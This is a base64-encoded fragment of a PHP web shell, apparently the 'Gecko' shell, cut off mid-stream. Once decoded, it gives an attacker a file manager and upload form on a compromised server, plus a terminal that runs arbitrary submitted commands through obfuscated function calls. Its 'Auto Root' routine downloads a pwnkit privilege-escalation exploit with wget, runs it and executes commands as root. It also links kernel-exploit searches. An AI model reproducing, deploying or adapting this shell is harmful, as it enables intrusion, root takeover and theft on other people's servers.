5nc2lbOV0oKTsKJHNjZGlyID0gJGZ1bmdzaVsxNl0oInsuWyEuXSx9KiIsIEdMT0JfQlJBQ0UpOwoKPz4KCjxib2R5PgogICAgPGRpdiBjbGFzcz0ibGlzdC1zaGVsbCI+CiAgICAgICAgPHVsPgogICAgICAgICAgICA8bGk+PD89ICRmdW5nc2lbMTFdKCk7ID8+PC9saT4KICAgICAgICAgICAgPGxpPjw/PSAkX1NFUlZFUlskZnVuZ3NpWzIzXV07ID8+PC9saT4KICAgICAgICAgICAgPGxpPlNlcnZlciBJUCA6IDw/PSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXTsgPz4gJiBZb3VyIElQIDogPD89ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaT5Eb21haW5zIDogPD89IHN5bWxpbmtEb21haW4oKTsgPz48L2xpPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICBVc2VyIDogPD89ICRmdW5nc2lbMjJdKCk7ID8+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Ijw/PSAkZnVuZ3NpWzMyXSA/PiI+CiAgICAgICAgICAgICAgICA8bGk+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImdlY2tvLWZpbGUiIGlkPSIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJ1cGxvYWQtc3VibWl0IiBuYW1lPSJ1cGxvYWQtc3VibWl0IiB2YWx1ZT0iVXBsb2FkIj48L2xpPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgPC91bD4KICAgICAgICA8ZGl2IGNsYXNzPSJ0b29sLW1lbnUtaGVhZGVyIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibGlzdC10b29sIj4KICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0idG9vbC1tZW51Ij4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Rpcj08Pz0gaGV4KCRmdW5nc2lbOV0oKSk7ID8+JmFjdGlvbj10ZXJtaW5hbCIgY2xhc3M9IiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXRlcm1pbmFsIj48L2k+Jm5ic3A7VGVybWluYWw8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Rpcj08Pz0gaGV4KCRmdW5nc2lbOV0oKSk7ID8+JmFjdGlvbj1yb290LXRlcm1pbmFsIiBjbGFzcz0iIj48aSBjbGFzcz0iZmEtc29saWQgZmEtY29kZSI+PC9pPiZuYnNwO0F1dG8gUm9vdDwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZGlyPTw/PSBoZXgoJGZ1bmdzaVs5XSgpKTsgPz4mY3JlYXRlPWZpbGUiIGNsYXNzPSIiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1maWxlLWNpcmNsZS1wbHVzIj48L2k+Jm5ic3A7Q3JlYXRlIEZpbGU8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Rpcj08Pz0gaGV4KCRmdW5nc2lbOV0oKSk7ID8+JmNyZWF0ZT1mb2xkZXIiIGNsYXNzPSIiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1mb2xkZXItcGx1cyI+PC9pPiZuYnNwO0NyZWF0ZSBGb2xkZXI8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vc2VhcmNoP3E9TGludXglMjBLZXJuZWwlMjA8Pz0gbGludXhfdmVyc2lvbigpOyA/PiIgY2xhc3M9IiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWJ1ZyI+PC9pPiZuYnNwO0xvY2Fscm9vdCBTdWdnZXN0ZXI8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Rpcj08Pz0gaGV4KCRmdW5nc2lbOV0oKSk7ID8+JmJhY2tkb29yPXRydWUiIGNsYXNzPSIiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS12aXJ1cyI+PC9pPiZuYnNwO0JhY2tkb29yIERlc3Ryb3llcjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vTWFkRXhwbG9pdHMvR2Vja28vIiBjbGFzcz0iIj48aSBjbGFzcz0iZmEtc29saWQgZmEtYm9vayI+PC9pPiZuYnNwO1JlYWRtZTwvYT48L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGJyPgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJib3JkZXIiPgogICAgICAgIDxkaXYgY2xhc3M9InB3ZCI+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icHdkLWJvZHkiPgogICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGdldF9jd2QpOyAvLyB1bnR1ayBkaXIgZ2FyaXMgd2luZG93cwogICAgICAgICAgICAgICAgICAgICRwd2QgPSBleHBsb2RlKCIvIiwgJGN3ZCk7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHB3ZCBhcyAkaWQgPT4gJHZhbCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZhbCA9PSAnJyAmJiAkaWQgPT0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP2Rpcj0nIC4gaGV4KCcvJykgLiAnIj48aSBjbGFzcz0iZmEtc29saWQgZmEtZm9sZGVyLXBsdXMiPjwvaT4mbmJzcDsvIDwvYT4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2YWwgPT0gJycpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8YSBocmVmPSI/ZGlyPSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gaGV4KCRwd2RbJGldKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaSAhPSAkaWQpIGVjaG8gaGV4KCIvIik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnIj4nIC4gJHZhbCAuICcgLyAnIC4gJzwvYT4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzZXR0aW5ncyI+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPSJhY3Rpb24tZ2Vja28iIGlkPSIiIGNsYXNzPSJhY3Rpb24tZ2Vja28iPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJkZWxldGUiPkRlbGV0ZTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJ1bnppcCI+VW56aXA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2VsZWN0LXN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iZ2Vja28tc3VibWl0Ij4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDx0YWJsZSBzdHlsZT0id2lkdGg6MTAwJTsiPgogICAgICAgICAgICA8dGhlYWQ+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRoPk5hbWU8L3RoPgogICAgICAgICAgICAgICAgICAgIDx0aD5TaXplPC90aD4KICAgICAgICAgICAgICAgICAgICA8dGg+UGVybWlzc2lvbjwvdGg+CiAgICAgICAgICAgICAgICAgICAgPHRoPkRhdGU8L3RoPgogICAgICAgICAgICAgICAgICAgIDx0aD5BY3Rpb248L3RoPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90aGVhZD4KICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgPCEtLSBGT0xERVIgTllBIC0tPgogICAgICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJHNjZGlyIGFzICRkaXIpIDogPz4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGZ1bmdzaVsxOF0oJGRpcikpIDogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2stZ2Vja29bXSIgaWQ9ImZvbGRlciIgdmFsdWU9Ijw/PSAkZGlyOyA/PiI+Jm5ic3A7PGxhYmVsIGZvcj0iZm9sZGVyIj48aSBjbGFzcz0iZmEtc29saWQgZmEtZm9sZGVyIj48L2k+Jm5ic3A7PGEgaHJlZj0iP2Rpcj08Pz0gaGV4KCRjd2QgLiAiLyIgLiAkZGlyKTsgPz4iIGNsYXNzPSJsaW5rLXNoZWxsIj48Pz0gJGRpcjsgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPlsgRElSIF08L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGlmICgkZnVuZ3NpWzE5XSgkZnVuZ3NpWzldKCkgLiAnLycgLiAkZGlyKSkgZWNobyAnPGZvbnQgY29sb3I9IiMwMGZmMDAiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmICghJGZ1bmdzaVsyMF0oJGZ1bmdzaVs5XSgpIC4gJy8nIC4gJGRpcikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBwZXJtcygkZnVuZ3NpWzldKCkgLiAnLycgLiAkZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGRhdGUoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZLW0tZCBIOmkiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnVuZ3NpWzI0XSgkZGlyKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpID8+JnJlbmFtZT08Pz0gJGRpciA/PiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZpbGUtcGVuIj48L2k+PC9hPiZuYnNwOzxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpID8+JmNobW9kPTw/PSAkZGlyID8+Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtdXNlci1wZW4iPjwvaT48L2E+Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgICAgIDwhLS0gRklMRSBOWUEgLS0+CiAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkc2NkaXIgYXMgJF9maWxlKSA6ID8+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRmdW5nc2lbMTddKCRfZmlsZSkpIDogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2stZ2Vja29bXSIgaWQ9ImZvbGRlciIgdmFsdWU9Ijw/PSAkX2ZpbGU7ID8+Ij4mbmJzcDs8bGFiZWwgZm9yPSJmb2xkZXIiPjxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUiPjwvaT4mbmJzcDs8YSBocmVmPSI/ZGlyPTw/PSBoZXgoJGN3ZCAuICIvIik7ID8+JmY9PD89ICRfZmlsZTsgPz4iIGNsYXNzPSJsaW5rLXNoZWxsIj48Pz0gJF9maWxlOyA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD89IGZvcm1hdFNpemUoJGZ1bmdzaVsyMV0oJF9maWxlKSk7ID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGZ1bmdzaVsxOV0oJGZ1bmdzaVs5XSgpIC4gJy8nIC4gJF9maWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iIzAwZmYwMCI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoISRmdW5nc2lbMjBdKCRmdW5nc2lbOV0oKSAuICcvJyAuICRfZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBwZXJtcygkZnVuZ3NpWzldKCkgLiAnLycgLiAkX2ZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gZGF0ZSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlktbS1kIEg6aSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmdW5nc2lbMjRdKCRfZmlsZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICApOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSBoZXgoJGZ1bmdzaVs5XSgpKSA/PiZyZW5hbWU9PD89ICRfZmlsZSA/PiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZpbGUtcGVuIj48L2k+PC9hPiZuYnNwOzxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpID8+JmRvd25sb2FkPTw/PSAkX2ZpbGUgPz4iPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1kb3dubG9hZCI+PC9pPjwvYT4mbmJzcDs8YSBocmVmPSI/ZGlyPTw/PSBoZXgoJGZ1bmdzaVs5XSgpKSA/PiZjaG1vZD08Pz0gJF9maWxlID8+Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtdXNlci1wZW4iPjwvaT48L2E+Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICA8L3RhYmxlPgogICAgPC9kaXY+CiAgICA8YnI+CiAgICA8L2Zvcm0+CiAgICA8P3BocAogICAgaWYgKCRfR0VUWydjcmVhdGUnXSA9PSBUcnVlKSA6CiAgICA/PgogICAgICAgIDxkaXYgY2xhc3M9ImNyZWF0ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIj4KICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkX0dFVFsnY3JlYXRlJ10gPT0gImZpbGUiKSA6ICA/PgogICAgICAgICAgICAgICAgICAgIDxoZWFkZXI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxoMj48Pz0gJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1maWxlLWNpcmNsZS1wbHVzIj48L2k+Jm5ic3A7Q3JlYXRlIEZpbGUnOyA/PjwvaDI+CiAgICAgICAgICAgICAgICAgICAgPC9oZWFkZXI+CiAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjcmVhdGVfZmlsZSIgaWQ9IiIgcGxhY2Vob2xkZXI9IiZuYnNwO05hbWEgRmlsZSI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkX0dFVFsnY3JlYXRlJ10gPT0gImZvbGRlciIpIDogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGhlYWRlcj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMj48Pz0gJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1mb2xkZXItcGx1cyI+Jm5ic3A7PC9pPkNyZWF0ZSBGb2xkZXInOyA/PjwvaDI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvaGVhZGVyPgogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjcmVhdGVfZm9sZGVyIiBpZD0iIiBwbGFjZWhvbGRlcj0iJm5ic3A7TmFtYSBGb2xkZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdC1tb2RhbCIgY2xhc3M9ImJ0bi1tb2RhbCBmdy1ib2xkIiB2YWx1ZT0iU3VibWl0Ij48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpOyA/PiI+Q2xvc2U8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAKICAgIGlmICgkX0dFVFsnYWN0aW9uJ10gPT0gInRlcm1pbmFsIikgOgogICAgPz4KICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1jb250ZW50Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgPGhlYWRlcj4KICAgICAgICAgICAgICAgICAgICAgICAgPGgzPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS10ZXJtaW5hbCI+PC9pPiZuYnNwOzwvaDM+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpOyA/PiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXhtYXJrIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgIDwvaGVhZGVyPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJ1bmFtZSAtYSIgbmFtZT0idGVybWluYWwiIGNsYXNzPSJ0ZXJtaW5hbC1pbnB1dCIgYXV0b2ZvY3VzPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4iIG5hbWU9InN1Ym1pdC10ZXJtaW5hbCIgY2xhc3M9InRlcm1pbmFsLXN1Ym1pdCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvY2VudGVyPgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQtdGVybWluYWwnXSkpIDogID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0LXRlcm1pbmFsIiBkaXNhYmxlZD48Pz0gaHRtbHNwZWNpYWxjaGFycygkZnVuZ3NpWzE0XSgkX1BPU1RbJ3Rlcm1pbmFsJ10gLiAiIDI+JjEiKSk7ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAgaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAicm9vdC10ZXJtaW5hbCIpIDogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1jb250ZW50Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgPGhlYWRlcj4KICAgICAgICAgICAgICAgICAgICAgICAgPGgzPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS10ZXJtaW5hbCI+PC9pPiZuYnNwOzwvaDM+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpOyA/PiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXhtYXJrIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgIDwvaGVhZGVyPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJyb290QHRlcm1pbmFsfiMiIG5hbWU9InRlcm1pbmFsLXJvb3QiIGNsYXNzPSJ0ZXJtaW5hbC1pbnB1dCIgYXV0b2ZvY3VzPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4iIG5hbWU9InN1Ym1pdC1yb290IiBjbGFzcz0idGVybWluYWwtc3VibWl0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdC1yb290J10pKSA6ICA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9Im91dHB1dC10ZXJtaW5hbCIgZGlzYWJsZWQ+Cjw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZXJtaW5hbCA9ICRfUE9TVFsndGVybWluYWwtcm9vdCddOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRlcm1pbmFsID09ICJyb290IikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiWytdIERvd25sb2FkaW5nIFRoZSBzb3VyY2UgXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZnVuZ3NpWzE0XSgid2dldCAiIC4gJGZ1bmdzaVszNF0gLiAiIC0tbm8tY2hlY2stY2VydGlmaWNhdGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlshXSBDaG1vZCBmaWxlIHB3bmtpdC4uLi5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmdW5nc2lbMTRdKCJjaG1vZCAreCBwd25raXQiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlsrXSBUZXN0aW5nIGlmIHRoaXMga2VybmVsIHZ1bG5lcmFibGUuLi5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmdW5nc2lbMTRdKCcuL3B3bmtpdCAiaWQiID4+IG1hZC1wd25raXQnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjaGVja192dWxuZXJhYmxlID0gJGZ1bmdzaVsyN10oJGZ1bmdzaVs5XSgpIC4gIi9tYWQtcHdua2l0Iik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXhwbG9kZV9tYWRfcHdraXQgPSBleHBsb2RlKCIgIiwgJGNoZWNrX3Z1bG5lcmFibGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRleHBsb2RlX21hZF9wd2tpdFswXSA9PSAidWlkPTAocm9vdCkiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiW35dIFRoaXMgS2VybmVsIGlzIHZ1bG5lcmFibGUgY29uZ3JhdHMhXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbIV0gVGhpcyBrZXJuZWwgaXMgbm90IFZ1bG5lcmFibGUgU29ycnkgOikiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlsrXSBHaXZpbmcgUGVybWlzc2lvbiBvbiBtYWQtcHdua2l0XG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZnVuZ3NpWzE0XSgiY2htb2QgK3ggbWFkLXB3bmtpdCIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZnVuZ3NpWzE0XSgnLi9wd25raXQgImlkIicpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiWyFdIENhbm5vdCBydW5uaW5nIHB3bmtpdCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlshXSBEb25lIFNpci4gbm93IHUgY2FuIHJ1bm5pbmcgb24gcm9vdCB1c2VyISI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZ1bmdzaVsxNF0oJy4vcHdua2l0ICInIC4gJHRlcm1pbmFsIC4gJyInKSk7Cj8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGV4dGFyZWE+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwCiAgICBpZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQtbW9kYWwnXSkpIHsKICAgICAgICBpZiAoJF9QT1NUWydjcmVhdGVfZmlsZSddKSB7CiAgICAgICAgICAgICRmaWxlID0gJF9QT1NUWydjcmVhdGVfZmlsZSddOwogICAgICAgICAgICBpZiAoJGZ1bmdzaVsyNV0oJGZpbGUpKSB7CiAgICAgICAgICAgICAgICBlY2hvIHN1Y2Nlc3MoKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGVjaG8gZmFpbGVkKCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVs